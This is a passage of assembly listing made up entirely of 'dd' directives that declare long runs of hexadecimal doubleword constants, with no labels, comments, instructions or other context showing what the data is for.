		dd 9EFB0FE1h, 0AF80E9D0h, 0FE7A3573h, 95337903h, 80B4EC5Bh
		dd 7F715928h, 0B1A10010h, 57B86855h, 0E07E4D89h, 4A00A571h
		dd 46111B2h, 0E8BE91EDh, 0A0E20F12h, 0E780B43Ah, 87A95FDh
		dd 6532AA00h, 0D390413Fh, 0E6AB00D4h, 0A07CCDD9h, 7E0657F2h
		dd 5558DE29h, 0F1BB3050h, 0EDDB4F79h, 154EF600h, 3F2192Fh
		dd 351EEF3h, 0B59DEA43h, 0E3D06ED6h, 0CFE069A4h, 0E683C801h
		dd 7385FCD5h, 0BDC45080h, 824A6CDAh, 0A4D02000h, 0C02227EDh
		dd 91C11D3Eh, 74D58F19h, 0AE66CFC0h, 60C035A2h,	175D8514h
		dd 76290116h, 53CFBD4Ch, 0DEADDC1Bh, 5159F500h,	0DDCEEF26h
		dd 18420C4Fh, 0BCF83041h, 0FE168C0Ch, 7D1131h, 5FB26095h
		dd 0CB9AEB73h, 5900497Ch, 0D48F99B5h, 701BD39Dh, 0CAC2022Ah
		dd 77251309h, 0F66D8080h, 0E23AED8Bh, 353100C4h, 0CAE6B3BDh
		dd 0CC620051h, 0B772E365h, 5400E529h, 608E8A6Eh, 0E08BCB1Ah
		dd 36F800C1h, 85DB9B1h,	77E8CC63h, 0CB136D00h, 0E06F0B79h
		dd 0D66B263Dh, 941A00A1h, 0F1CF10D4h, 1743EF0Fh, 962FE0BBh
		dd 3A75CCA1h, 0AB00B6FDh, 0EA59FA61h, 28774B32h, 0CDB3DD00h
		dd 405FDE8Ah, 90F29Ch, 673FEA1Eh, 89D1D2F2h, 3A72D6F2h
		dd 0B598E900h, 9B8B68D4h, 777A001Eh, 4E29C11Dh,	5B3859E1h
		dd 3C3D1E61h, 0A142E00h, 15D52Bh, 6336ABCBh, 0A831560Bh
		dd 663A6901h, 0ED9F47B9h, 13ABF080h, 33650DE6h,	100E0DEh
		dd 7B2275A2h, 92F40044h, 0AC851736h, 0C8C2E00Eh, 0C0610A3Ah
		dd 184D153h, 0B3B75629h, 0DCC0F311h, 29C03C86h,	449C4850h
		dd 0A4A10133h, 13AA46D9h, 2C8BECF7h, 5D965507h,	0FDF0C612h
		dd 0BBAF8Ah, 4D117AACh,	35AD5AE5h, 634548A0h, 0FC7B0508h
		dd 0E52362FEh, 6967AF00h, 0A7D009Eh, 7F99D2FEh,	5300764Ah
		dd 0C074E643h, 3BBEAB3Dh, 84806A9Bh, 859F90F9h,	0AD00B7BDh
		dd 0A92B7B19h, 8CC0Dh, 1C800F32h, 594FEBD0h, 0B6406D00h
		dd 0A41A2D81h, 7D0700BBh, 5B741B67h, 0FE006556h, 8953A6CEh
		dd 744AD68h, 0D7BA54BCh, 71C6E002h, 937C668Dh, 0A355B200h
		dd 4B1F6312h, 5658C050h, 0E4AFE5F2h, 3A077F70h,	35AEB8DEh
		dd 5C883640h, 477F56h, 86CE81D9h, 0E9804D87h, 1C8A8918h
		dd 3E55241h, 9DBDA583h,	27E1B192h, 6AD6D044h, 308221C7h
		dd 0F7A88434h, 55D72507h, 4A8C4B27h, 41F4F20h, 0FF9C1102h
		dd 19D16C80h, 0C3F01DA5h, 57E29D58h, 8EA27009h,	0E39E009Ah
		dd 129522h, 1777E090h, 6A760AD2h, 9ABCCB00h, 0D9936D8Eh
		dd 0EFC600AAh, 6CC9D15Ah, 190075BAh, 0AE3F7DA8h, 7380A73h
		dd 3185B993h, 0ECD1808Dh, 1D040415h, 625ECEE2h,	0B8A182C3h
		dd 0C0AA3265h, 3B0F6426h, 9F00974Ah, 148A1004h,	0FBF2DA7h
		dd 0FAD205E1h, 0D0113D47h, 391FF60Dh, 80004972h, 0BE61330Bh
		dd 0FD320EBh, 7DC8AFCAh, 0D4095980h, 5C00CCE7h,	0A129760Ch
		dd 3685E73h, 5AC43789h,	0F2F2BE23h, 0FBA448C0h,	1600F1F6h
		dd 781F35A1h, 79206C76h, 9F440092h, 0FCE8C79h, 300142F7h
		dd 0F6AEDDEDh, 12C8D38Dh, 9DAF006Ch, 0CDDBC846h, 117213FFh
		dd 0BC5DE02Eh, 0C764F000h, 0C82A73Ch, 0F1079BA0h, 8801FC20h
		dd 0AAE03AA5h, 1D31C2BAh, 0CFB26C0h, 2B5DD94Dh,	0ABB8B468h
		dd 0B8439900h, 4FDAA582h, 8BD70029h, 9BAEFCD8h,	0AF502715h
		dd 6D00C910h, 0B4D302Bh, 0E3909Ch, 3A0A7852h, 8C33EFA7h
		dd 7F760700h, 2AD4201Bh, 0D0B8BCh, 5D274E58h, 0F6DBB0C8h
		dd 200035F4h, 0C6B249BBh, 363AEC9Fh, 0C8D02D37h, 8B23851Eh
		dd 81F2D800h, 3B02CA5Dh, 39B0C2D6h, 9BDE6520h, 9103567Ch
		dd 0C43E61D2h, 5F48E07Ch, 0ACB8F6h, 97C87D13h, 0E3DE5EAFh
		dd 0A947E805h, 0EC0F84B6h, 93A8A0FAh, 0DAF52Eh,	0F765EA32h
		dd 40D26C85h, 13125500h, 0E7049787h, 8D9F00E2h,	4975DD18h
		dd 600480Bh, 2C74F062h,	1AFB643h, 542E983Ah, 0C09A8001h
		dd 9E1E3DE1h, 0D4C12640h, 88186B24h, 5080E2D1h,	2230A699h
		dd 0C300F1F6h, 3BBC1F9Ah, 7534BB3h, 0A35F750Dh,	0B05E4747h
		dd 18498BAFh, 5B876300h, 0EAC0B9A9h, 0C5FE0090h, 8B1F9E2Ch
		dd 82E2DDB8h, 0F6C8CE00h, 356778E5h, 3DC177F3h,	0CF000245h
		dd 0F0860D1Bh, 713BC094h, 5FDF8396h, 4AA1AFh, 2C606FE9h
		dd 0F493C4ABh, 9EB8CE00h, 9C1D7BBCh, 718300DFh,	18EDBA5Fh
		dd 0C203F9A6h, 0B08A0A2Fh, 3EA4A02Ah, 3C9EE068h, 558C7A04h
		dd 291EB832h, 270E3Eh, 205F7D14h, 0DFACA5h, 850BA2BAh
		dd 0A04E0B0h, 0EB4C9409h
		dd 0AFD080B9h, 73E138h,	441DDB79h, 0E20DDD87h, 7FF80100h
		dd 7E805F0h, 53F227h, 7B3B4F21h, 5F79B225h, 0EBCFA000h
		dd 52ED02A7h, 5CB51F46h, 299BC016h, 94E0C8E4h, 24182261h
		dd 0F0DBEC39h, 0F67B35B9h, 4F3A01E4h, 50141F32h, 0F5ADF064h
		dd 0D9EE207Ch, 51DD9800h, 8782CCE9h, 138DF29h, 0F2A810B1h
		dd 0CFA2F0B0h, 26182860h, 12988288h, 7DF9307h, 307EE975h
		dd 0F82A3E91h, 14BEED00h, 8F21627h, 0BB0700C0h,	48257E5h
		dd 0AA00E78Dh, 0E3BD5A76h, 1353C1h, 1AF24C50h, 0F88694D9h
		dd 0A91EA307h, 0CF2002C8h, 0D2B1BAh, 8618374h, 86601033h
		dd 8F385600h, 8E0E468Bh, 711800DDh, 6773B82Ah, 1E1E1C52h
		dd 40C068D0h, 11E263CFh, 0A40B004Ah, 58D3C0AEh,	0F100ECC9h
		dd 47CE7874h, 3F4EFB8Ah, 91DDBE7h, 9E62C087h, 0FAC8B999h
		dd 2090EB30h, 88FE7Dh, 0C01A3EE0h, 0DD9E38ABh, 5D5CF200h
		dd 0DC701FE9h, 48F93056h, 0C272AE50h, 0A1570500h, 7FD5DD3Eh
		dd 0C88300A4h, 2BFBA581h, 0C11ED84Dh, 6A80787Bh, 0F3341AADh
		dd 8D1400E6h, 8EC0A00Ah, 0AE00F568h, 5FC51FFFh,	34FF611h
		dd 0BAF12A47h, 5B9A84EFh, 14752D60h, 390F2FE8h,	29D0DB27h
		dd 789C0081h, 1D620350h, 9D8BC056h, 8EED41B5h, 82DB25EAh
		dd 86D888D8h, 375CA05Bh, 102D22C3h, 8C838B89h, 12021E6h
		dd 6F27DCAAh, 0C853C00Bh, 8B3BF979h, 85698E9Fh,	60240EF7h
		dd 8EA74ECCh, 0BD4903C5h, 40E2EDA4h, 219404FDh,	0C3A93051h
		dd 194C1528h, 0D1038A4h, 0BE8E0049h, 714311D0h,	517D55h
		dd 9E9C4D13h, 0D43B8DB3h, 2D16C60Ch, 0F7210D7h,	0CB6E53E8h
		dd 0BE0DB8C0h, 0A900AADDh, 5D5568F5h, 3BB96782h, 17003AD3h
		dd 662FB5BFh, 8B077BDBh, 14FE85F6h, 0E8FAB8B3h,	0E8CA9143h
		dd 3E2C18F1h, 9497B8BDh, 42616E00h, 76E378D9h, 0C66A0F7Ch
		dd 27418281h, 0C4A5A1FFh, 0BC00DA8Ch, 78A2F0F1h, 63B13Bh
		dd 0E085476Ah, 0EA87B73h, 281E8D00h, 515F245h, 2FB60344h
		dd 91147DDDh, 0E3AA13D0h, 0A9E8A100h, 0D7EA278Bh, 0B7FE00AFh
		dd 0BF6B1F5Ah, 450B7CF2h, 8026F72Ch, 957E1822h,	1E760082h
		dd 0E7240688h, 0D701CA6Bh, 844BE3E1h, 0DEE81A52h, 0DF910037h
		dd 833B2FE6h, 660F2347h, 6025EDD9h, 0EBCC0393h,	3DA000DBh
		dd 0BF2648FBh, 0D0003750h, 0AF91274Fh, 1E05320Fh, 8051699Ah
		dd 0C6E24723h, 8100D468h, 757B7E95h, 0AF502Ah, 0FA9C91A8h
		dd 0EE9AB484h, 4308E00Eh, 64DBE365h, 969EE8BEh,	0C97B7Fh
		dd 6CE35CC1h, 7B1CFD8h,	0F8F12B00h, 0DCF33A1Ah,	0D98007Bh
		dd 1B25C231h, 2C16EC59h, 99005E6Ch, 5F89B23Dh, 3A1207B7h
		dd 610371BDh, 0C49A2A60h, 5B0039F7h, 63B34F57h,	0AA6AD8h
		dd 3D9D1F64h, 0A80F1AB8h, 77F82D01h, 76FA269Ch,	738761D0h
		dd 3E097CE6h, 9D87FE21h, 30A83642h, 0C98A20CAh,	11744C00h
		dd 5109DAE0h, 0EB550129h, 9EC58112h, 5718F0CFh,	0A031A02h
		dd 0C101AB4Ah, 2820A3F8h, 87D00DEh, 706B1806h, 93007C61h
		dd 0D8809DC7h, 131F3Eh,	83D6CEECh, 0B6DB18CFh, 7F00C2B8h
		dd 0F8B43BE7h, 0B56D7Ch, 0C8F5E4FDh, 8FD01F3Fh,	0F92C8D03h
		dd 0C8ED3BD5h, 1C6F8EBh, 0D4B194E2h, 605D761Ch,	8D0CADABh
		dd 2892A72Dh, 0DD4002CBh, 0B645E2CDh, 0C6042121h, 0B85D4707h
		dd 0F7CF9706h, 409AFC50h, 0D80F25D5h, 848DDC40h, 4306DDACh
		dd 1B382993h, 761D04CFh, 0AE47A2A9h, 0ED3C2148h, 0C522FEEFh
		dd 9B642FD8h, 5A4A0341h, 84507993h, 79925E31h, 9910D931h
		dd 50C0AD6Fh, 0C78B11A7h, 0E11522E2h, 8EA17560h, 565450h
		dd 21C6275Eh, 72F4880Ch, 0D9083207h, 7EB39D30h,	0D8D188FBh
		dd 33340099h, 0CCFEF8A1h, 0DE392F1Fh, 1AB300D9h, 1363C336h
		dd 59A60098h, 0FFCB05Bh, 0E900E5D8h, 30D3F3C0h,	9EFFDh
		dd 8860A86Ch, 91177048h, 3F014400h, 1EE79C73h, 0AE652h
		dd 0F86234EFh, 7435AFC4h, 94D7E903h, 0A8912A39h, 0FF1E257h
		dd 0B7A3FBF9h, 0DF0A9BE0h, 2E00EF1Ch, 1358C488h, 24A2CB89h
		dd 0C80ED1h, 0E62CE9C7h, 7E7367F0h, 23CE0700h, 0B5F204C0h
		dd 46011C6Fh, 732FC0F3h, 0C1BA064Ch, 455D5B00h,	0E64DAB1Dh
		dd 1917585h, 0A8C54192h, 0F4D4EA55h, 640C656Ah,	6823F66Fh
		dd 0E4F1C020h, 6DE6DB51h, 971DCD04h, 9DC0B840h,	7F88277h
		dd 9A108C08h, 0EB7C9984h, 9CED1A00h, 0EA6298h, 0F3838E94h
		dd 0DB68044Bh, 336186C0h, 7177391h, 3DB021D9h, 9AD55011h
		dd 725C4856h, 86751701h, 0A082490Eh, 2E1A9D89h,	15C0008Eh
		dd 0DAE32DD9h, 0E800F154h, 3BFC6532h, 39B2D355h, 0F4843Fh
		dd 175C7DCAh, 978ABA60h, 0E1094300h, 5518AC53h,	0F4E2007Ch
		dd 154C6FA8h, 270096B5h, 73ED469Ch, 0B61942h, 5C696D8Ah
		dd 0DCC96657h, 0B618800h, 7867A06Eh, 9A39034Ah,	26F18086h
		dd 0F5EF5EA8h, 7799F00h, 0ADA04E16h, 0EB9B00EAh, 5D53983Fh
		dd 217C440Bh, 0DC20B400h, 41652F9Ah, 845F00F6h,	0E2A6D907h
		dd 330003B1h, 0E513944Dh, 0F2C12Bh, 9B71D33Eh, 0BB6BAD17h
		dd 73F85Ch, 425CA479h, 7D0A73B3h, 85280036h, 4E6FC9EFh
		dd 0AE00FC61h, 53A18F82h, 0E02A98C5h, 0C49105E5h, 896348h
		dd 0CEE6ADCCh, 6D00BED4h, 0A6881C85h, 70181Fh, 4334B6F5h
		dd 7A9D42EFh, 0CCCE271Dh, 0AD544CC0h, 2D5BD63h,	29ED09B3h
		dd 0B5C04472h, 901483F6h, 0BCF880h, 0E4F37F97h,	2C3FEDh
		dd 8AA92DC4h, 1C95DC90h, 97161703h, 7EE4AB0Ah, 0C7BF0010h
		dd 93C28918h, 60242DD5h, 590FA4E8h, 5F9F2047h, 0EB851F0h
		dd 4BB74FA1h, 53D70780h, 9800A83Fh, 27EBCEB2h, 0F35E93Ah
		dd 80F05BEEh, 54FA9EC0h, 0D24EAC5h, 7809338Ch, 98A0287h
		dd 0F3EDC0DEh, 5574ACh,	0D884C35Eh, 907692F6h, 0A103E800h
		dd 1CD9AE01h, 7560BA0h,	1706F961h, 8F00A2F0h, 4A579682h
		dd 0B8DB37B4h, 2FCD00CEh, 352AAB01h, 0BA00F723h, 0D62E9C7Ah
		dd 631927h, 1577758Eh, 399AF326h, 8120EC00h, 70F09C23h
		dd 0CB6402AEh, 2529FCD6h, 71042260h, 0BE28CDF4h, 6737A44Eh
		dd 1AF05AFDh, 0DB753Bh,	5489244Bh, 981C5E10h, 0FC179901h
		dd 6019BB4Dh, 0A11DF8h,	93F6D945h, 0BD0D50EAh, 5B574F02h
		dd 609A11D8h, 0FC9134AAh, 35931E4Bh, 318EFAA3h,	21E3F32Ah
		dd 0C580821Dh, 7E00913Fh, 725522FFh, 1A8566Bh, 0E43C3BF8h
		dd 0C468D449h, 18002DCAh, 22A116D1h, 7665E2C2h,	252400B5h
		dd 1C4FE4DEh, 2E009B93h, 488690E9h, 3E385A89h, 9A801F05h
		dd 0D57DF1E3h, 967936E8h, 427C7000h, 0F387DBFAh, 201E0178h
		dd 0C486B429h, 76F44171h, 0B6C0F353h, 0DB00D107h, 98AC370Ah
		dd 723FD38h, 6667A2BCh,	1C44C04Fh, 0F404EF83h, 0F09B6F47h
		dd 0CC569EC0h, 0B38A0079h, 58541BA1h, 0DE00909Ch, 8106D1FAh
		dd 24A5A2A6h, 0B1074Ch,	6173E6E5h, 0E901885Ch, 8999F859h
		dd 0E4500B0Fh, 50477270h, 93D4CEh, 19151C76h, 0C3855865h
		dd 5C2E830Bh, 704F00EBh, 88A678h, 0AAF343BEh, 13F7E34Ch
		dd 83EC6D3Ch, 0BBB11191h, 8400CDE9h, 16CD335h, 0DF2E0119h
		dd 0D90B664h, 3B23C4C5h, 945A5000h, 7E84ABBCh, 0C0E40218h
		dd 0C6AA740Fh, 0E9DCED81h, 6442DAF6h, 0B07AA807h, 227315EAh
		dd 0D8D0651Fh, 0DEF7803Dh, 85474A75h, 4DC400D1h, 41CEB740h
		dd 11000533h, 0F4A629F1h, 0F239B4h, 4C95E108h, 0DB069F45h
		dd 0A5008C7Ch, 7B740AEEh
		dd 3A7FA4E8h, 260071C2h, 76DC55F2h, 8B091D59h, 0CA1E90h
		dd 0A3FC2FFAh, 7DE000D2h, 1608FFA9h, 0BA0028CDh, 732EEE90h
		dd 213929h, 4F88FE38h, 9073CE8h, 0EA49FA0Ch, 0ACB8CEh
		dd 11906EE3h, 5602B6F4h, 7DAF5100h, 0A02D4DEBh,	1297E0Bh
		dd 68ED1F44h, 0F4B3473Fh, 559862F8h, 9E46A00h, 7F7E445Dh
		dd 0BB580029h, 0FC5AAD16h, 79EC77CDh, 0DBE66600h, 36C768A9h
		dd 0DDF50041h, 3AE9B399h, 2A0074D0h, 51C20BFh, 0BAF155h
		dd 13E0C0FFh, 511BAD6Eh, 54A94400h, 7BF89D75h, 2DEB00BEh
		dd 9424C209h, 0B1035A2Fh, 745F304Dh, 41DAF8EEh,	6EA8009Dh
		dd 0D8DC7D6Dh, 0F70EA607h, 0C08EBCE1h, 9C35F59Ah, 3C9D0047h
		dd 149FDA05h, 0AF007882h, 26338109h, 0F811885Dh, 7DFCE9B6h
		dd 19D30B0Eh, 0E8835124h, 0BFA83007h, 2C006D01h, 6DF2A8Bh
		dd 1FF043E8h, 0C073E07Ah, 461DD76Eh, 4F487795h,	74842CD4h
		dd 0D5186300h, 0F9EE61h, 168BEF09h, 0C286D0FEh,	5FF37700h
		dd 6261121Fh, 0C5E8E2h,	6D31B6EFh, 0F7D2C8DDh, 0CC9BC302h
		dd 0C09D17BCh, 0D0AA40h, 8DF4278Ch, 66967E6Fh, 80DD5B3Ah
		dd 0B79B8B4h, 60342CEh,	0A7E0DA58h, 0E800F823h,	0DD19342Fh
		dd 0F315AAh, 8A9889F8h,	81DE2CB0h, 3A17E900h, 2103142Ah
		dd 4F8C07CCh, 0A0BB35FEh, 7BC83D8h, 2648E300h, 20308729h
		dd 0FE8102E0h, 32FC7EC4h, 0C9E5E860h, 0D4BAC0Eh, 0E389C025h
		dd 391EB7BDh, 6180A154h, 84810880h, 21FE669h, 0EC803866h
		dd 1541E43Ah, 0B9100351h, 0F28BA144h, 0BF83C1AFh, 9917E407h
		dd 0A2BBA500h, 60D9EC37h, 23C800A8h, 6E1C3F67h,	71009E97h
		dd 0A036F894h, 6DEDFDh,	576E3A7h, 7CBBD07Ah, 8E844300h
		dd 6F65F5DBh, 78030317h, 0EEF75F08h, 4C045988h,	0FD03707Ch
		dd 0D897AF44h, 0C59080A4h, 4EB43DF0h, 7369FB80h, 30DE6274h
		dd 94722F00h, 54788EFh,	6CA80258h, 0AC31E32h, 7411C760h
		dd 508B4503h, 0B004DA1Bh, 6F3206A8h, 3BA0D4C4h,	1731BB19h
		dd 46BAC900h, 0FBF81138h, 0F37978h, 84954069h, 57B09096h
		dd 1423A800h, 593E8BBh,	9AD90068h, 0EC4C5462h, 1100B5B3h
		dd 6DE6CC2Ch, 7527C7DAh, 3ED71F7h, 1456AA5h, 66E85B76h
		dd 0C500171Eh, 0D6F25149h, 0E0625Eh, 0CF538FB2h, 5A30C85Dh
		dd 13238E01h, 2B7E3CDCh, 0EC40C5E1h, 3D5E5806h,	6D00A676h
		dd 2EB7655Ch, 0EF12E05Bh, 7888E322h, 2CC2B04Dh,	9A92Fh
		dd 0E3FB2E23h, 0F6002B26h, 0F7771110h, 3E7CECh,	0BD2C57F2h
		dd 4A3DF879h, 38C29C48h, 10A5007Fh, 55437281h, 15C20A45h
		dd 0D04903h, 9FCF374Fh,	3424529Dh, 3C0059CDh, 13D2AEE5h
		dd 0CAF6262Dh, 0E02EDAh, 7C881115h, 0AA78EB67h,	0AB2EEF75h
		dd 0A00EBAFEh, 9651875Ah, 74D2FAC0h, 23A5004Fh,	0D380F71Eh
		dd 0CD01758Bh, 0AB3A5190h, 5EE0E085h, 0BA1F0039h, 0B5AA5F3h
		dd 0DF1343D9h, 3B7423h,	0F6875A82h, 70902825h, 12B41642h
		dd 636F2Ch, 3D651B64h, 393141E7h, 0D21E1859h, 8804C4h
		dd 8ADA832Fh, 7B27A2DBh, 0C51CFF00h, 3C77F35Dh,	327230h
		dd 185FDB4h, 0F8B38D11h, 13357C00h, 886A7BDFh, 3187D57h
		dd 0FF548724h, 288F74Fh, 0A60060BDh, 66DE5B1Ah,	2C49C3CDh
		dd 15F9ECBh, 0E97457ABh, 0D07BF45Eh, 6B675800h,	0DE318C08h
		dd 2E3001Eh, 0BB69DBE5h, 0B8000756h, 122B712Ch,	0ECE6758Dh
		dd 3A4B00ECh, 0C1A11EAFh, 45000AADh, 92688032h,	26CB9C4h
		dd 6F5A99F2h, 20601A89h, 4B0037B3h, 0C4D70138h,	7F4F4312h
		dd 0EFE828h, 2A724DEAh,	0AD9D0AF4h, 84A47D00h, 9F28AFFCh
		dd 947C3FAEh, 0CC893339h, 0FA0041D9h, 0EE8B1773h, 5B3878E0h
		dd 99B307D0h, 0DA472EE7h, 8A491830h, 162600EEh,	6AD65CF3h
		dd 8C009339h, 0B02131AEh, 3FFDFF01h, 72805143h,	0E7D08E58h
		dd 90005AB9h, 31559D63h, 31D1054h, 77342E7Bh, 6AA81A8Fh
		dd 0C638DA2Fh, 89918EE9h, 40FE0BBh, 0BFA731Fh, 3F50B171h
		dd 0FFCCB2h, 0BAB4C603h, 0E1EA3A55h, 0A738CB00h, 1CD0AF3Bh
		dd 0A0CECC2Ch, 2521E701h, 1030ACAAh, 423008F0h,	609BA68h
		dd 0F900E551h, 5832F21Eh, 8019E248h, 5F00AF62h,	0A96909F5h
		dd 0E62B72F2h, 0CF850B7Eh, 3C805A4Eh, 0EB023730h, 3812DD01h
		dd 47F3E744h, 0AD4BF0h,	3A1DA6BDh, 619F2656h, 0D390700h
		dd 8F99F1ECh, 9396289Ah, 0A2E8BCh, 0E8EE030Bh, 0F8B9D71h
		dd 0C174010Bh, 501420FCh, 1EBCF7h, 8612543Eh, 0E49CF3B6h
		dd 1DE6FC3Ah, 7A80F92Dh, 0B0DDC4ADh, 60DE0026h,	8DF13985h
		dd 0C8007302h, 0AFD780D5h, 3157827h, 0B1C5D2DEh, 19D8827Ah
		dd 4B0005CFh, 3F022D77h, 1D61CA3h, 0E91FE297h, 0D9D5CD51h
		dd 8503CE7h, 802D84C0h,	0A272BAA0h, 1F3FCF17h, 560F80E1h
		dd 0E860AC97h, 19070EAFh, 48A3B736h, 31F00E9Eh,	0FF00F7FEh
		dd 8CE5913Dh, 0BEFA0D4h, 9843841h, 0E9264600h, 0F8E580D2h
		dd 0A85CFAFDh, 8F110311h, 0B9DE5228h, 0ED0840Bh, 0BE4E07C8h
		dd 20DD7CF2h, 0BDDB854Ch, 67C65E00h, 7A7D482h, 5C910F9Eh
		dd 0B64AD00Fh, 2C80A5C8h, 0C0D75C9h, 0FCABC3Dh,	0BCEE924Ah
		dd 0E4E98900h, 368C6F1h, 41205A73h, 5BB1DD10h, 0C994FC37h
		dd 0F578AB00h, 18CA2C3Bh, 71B5009Ch, 5679B98Dh,	421D727Ch
		dd 1C425512h, 60816AD1h, 0B5EEE9h, 0CD3F083Ah, 5791A5CEh
		dd 103101Eh, 16A840C0h,	3B6289B0h, 8519D059h, 70C02093h
		dd 0D600CB70h, 974C5640h, 0F11224h, 0D0813D8Fh,	0F54AFF77h
		dd 0A9D5B400h, 134BA107h, 0CF160006h, 6EF4ED54h, 0E0FD9D8h
		dd 823D1BA4h, 0C262798Dh, 0A87ACFh, 8C26DE01h, 78844938h
		dd 0FC947701h, 935498F8h, 4C033833h, 0A528E3D5h, 0D9E71607h
		dd 0B9202C69h, 0E680859Eh, 99EE0E07h, 72805066h, 0DFD4CA4Ah
		dd 19B7F703h, 80272E9Bh, 15F3928Eh, 907A7FE7h, 0D9284B00h
		dd 51457BE2h, 8BA5A901h, 2B3DF373h, 13573424h, 900125h
		dd 0EAECCE40h, 4271F597h, 0CDE3AC07h, 0D9808BC4h, 4072Dh
		dd 9348DA72h, 20990179h, 69BFD700h, 0C6D9C02Fh,	0DAA50046h
		dd 0D8E40EE1h, 0BB28DCB0h, 2305941Ch, 4A4335A1h, 0E0F55780h
		dd 95CF17BFh, 0D90000E4h, 1EF296C5h, 8A097B04h,	14D1BAEDh
		dd 24CC85D1h, 817300F4h, 0E2185B28h, 7E00059Bh,	64CA10D8h
		dd 9D45DDh, 0AA6AEF3Bh,	6636F7CEh, 920B200h, 0F2A57AE8h
		dd 0C2B40074h, 0B0241F19h, 790E1D84h, 0C9350B43h, 0A598603Ah
		dd 0FF75002Ch, 46981061h, 7B00C1DDh, 0C393199Fh, 1CAD0703h
		dd 0C55A1137h, 80A2C071h, 59E1CC3h, 0DD78A007h,	0C0DFF82Bh
		dd 3C45ADB6h, 1EAE0033h, 0B56AEDA7h, 7B0073E7h,	2CFEC04h
		dd 0F52C570h, 2B58C666h, 0D2BAB2E0h, 0EE00919Bh, 4AC7BDAh
		dd 0EF54F6h, 482059CCh,	10A0C12Bh, 81AAED00h, 9A75E9D8h
		dd 331800F5h, 0A6789FD5h, 0F000D7AEh, 2B9A06Dh,	1C808CDh
		dd 0E5BC663Ah, 0D064287Ch, 0EC079004h, 5D48C4DAh, 21359B10h
		dd 54D000B4h, 0E63E6129h, 24008523h, 1AA93FB5h,	0BDF747h
		dd 9C2F10AEh, 0FD9B7695h, 910F73EEh, 0A0A26D67h, 0F76501C5h
		dd 71A1098Fh, 6C0059CDh, 0C4F85340h, 789C1012h,	76EAAC00h
		dd 76ECB34Ch, 1FBC0045h, 755258FEh, 0AB00C6C0h,	200D7648h
		dd 12CD03h, 8AA60C78h, 0FFF0BF70h, 0CAAC3309h, 1F1C8FE2h
		dd 444FB7C0h, 7DABF8h, 9FFF71C7h, 0C98E6CE7h, 721FE300h
		dd 0B3DC4697h, 0DA78000Dh
		dd 623D6B3Ah, 0A63A8BCCh, 38E5825Dh, 0E0CEC302h, 0EA287BE4h
		dd 2E6B0311h, 8427E868h, 62ABA6F0h, 0F376EC00h,	4FDF5833h
		dd 32C9871h, 0CAFFF25Dh, 67AF2EA0h, 8064F03Ah, 0CC00721Eh
		dd 2740215Bh, 1CD9CBh, 0D0816B3h, 6D99A176h, 0FC98BC98h
		dd 4E275600h, 498C5110h, 6290002Dh, 0E080F434h,	0ED0F1412h
		dd 0E09B3755h, 4EC6CCEh, 0FCF7674h, 0CD5A36F0h,	6FC0E2CEh
		dd 9EBD0D4Dh, 0D6176E0Eh, 24C03C35h, 412E483Bh,	15E0A2h
		dd 208DB509h, 39C26890h, 0A5D55Ch, 70988817h, 104E8h, 0C5FD1AE4h
		dd 2A6EC72Dh, 16178100h, 0B7F52560h, 82BB0057h,	0C5657006h
		dd 2400103Ah, 516147EBh, 1D17E1ACh, 7EAEA952h, 3CB7D400h
		dd 0C098605Fh, 23493400h, 38C6061Dh, 48970008h,	3F809D37h
		dd 0C239BA7Ch, 0B82700A6h, 9BFCB5DBh, 57BC00C7h, 102C0CE7h
		dd 7C00F791h, 0A28F89A4h, 0E464FAh, 79623769h, 30260798h
		dd 61423B0Eh, 6CD980A8h, 0E767D6h, 4FD38065h, 1F598C16h
		dd 0E000C1F0h, 0ED2ACBABh, 6C0A0Bh, 0F2589FC9h,	3EF61663h
		dd 2755BE00h, 0F1921DAAh, 0D1C0030h, 0F4296E0Fh, 0BE0018C8h
		dd 0F8D0F237h, 0E85C733h, 0A782C292h, 0BD94E980h, 5300441Eh
		dd 6C811D37h, 48FCD34h,	0EC91DD16h, 45848071h, 0C200B532h
		dd 5678FA1Ch, 4C57A342h, 231C7CBCh, 7109DD0h, 70AC7644h
		dd 0A88A5D56h, 0B165CB00h, 2FCC8FDCh, 0C5BF0062h, 0FB0C86CEh
		dd 6B005CC6h, 0E3FA51F1h, 612B7Eh, 35B6251Fh, 82D10F22h
		dd 2E15B07h, 0A9D0E663h, 0E82167h, 3B9ABB28h, 7F34B40Ch
		dd 1110F81Eh, 0E040905Eh, 0C5B25150h, 0E231033Dh, 6F167C8Dh
		dd 0B002F1C0h, 86FA2200h, 0F3515894h, 179B0049h, 8935D738h
		dd 8800ACB4h, 2413B5E7h, 0A77DD0h, 0DF4E11BCh, 0F7D902B6h
		dd 41F8D8E5h, 0FB1E2172h, 0B28310CAh, 9042EE3Fh, 53D585h
		dd 0CB971DB6h, 18A67BB0h, 8022BB3Eh, 929609D3h,	0C313Eh
		dd 823FE167h, 20A52E12h, 9BA72800h, 91D3D44h, 5F4E001Ch
		dd 0FC8D06A6h, 0E3F8AA7Bh, 65002DECh, 0E90B5C7h, 75F3D9C6h
		dd 1DF0A3h, 8ADA1324h, 36E33CDEh, 0DBBEC000h, 0FD89CC37h
		dd 387F291h, 0B2A77B58h, 0CEA75A6Eh, 10611C87h,	7AE5B68Ch
		dd 8BBF9500h, 87FEF3C7h, 92A300A9h, 58B04942h, 24384E65h
		dd 0E8B39E57h, 9E2B5680h, 2E142F6Fh, 30F90Ah, 613BFA75h
		dd 4DF0B513h, 0D2386601h, 9E704F60h, 1D78260h, 0CD7E996Ch
		dd 0D4896D73h, 0B100B54Eh, 7F1E84D9h, 0D25BFBh,	52AEE019h
		dd 3F9644B0h, 0F58D6201h, 0D44A354Dh, 0F4D85AD5h, 4CF0045h
		dd 0F8471F9Ch, 0F63FDF14h, 21D080DDh, 0EBE49E7h, 1C22700Dh
		dd 0C01AFD23h, 0AC957D9Eh, 7004CBBh, 2232CBC0h,	1F4E5466h
		dd 40EE1462h, 3A06ACDAh, 0CF09843Fh, 709FDCh, 7E5793Dh
		dd 0B7A82C8Fh, 0CB8700B8h, 0B986CABDh, 7941FD07h, 0A0AEC966h
		dd 903FAF58h, 0B47C3Ch,	5750BC2Eh, 19F8D754h, 1700CE72h
		dd 222AF17Eh, 2F1AE6h, 0B1A746C4h, 92B9686Ch, 40E3400h
		dd 0E65562A9h, 0C673007Eh, 9F9A4EE5h, 3D008D48h, 0AC6E0DC7h
		dd 2F1CA4h, 0AE57D73Ch,	937DB033h, 4FCEE300h, 42C7504Eh
		dd 0B749000Fh, 77A7B64Bh, 57FCD07Fh, 68915930h,	2BAAF2h
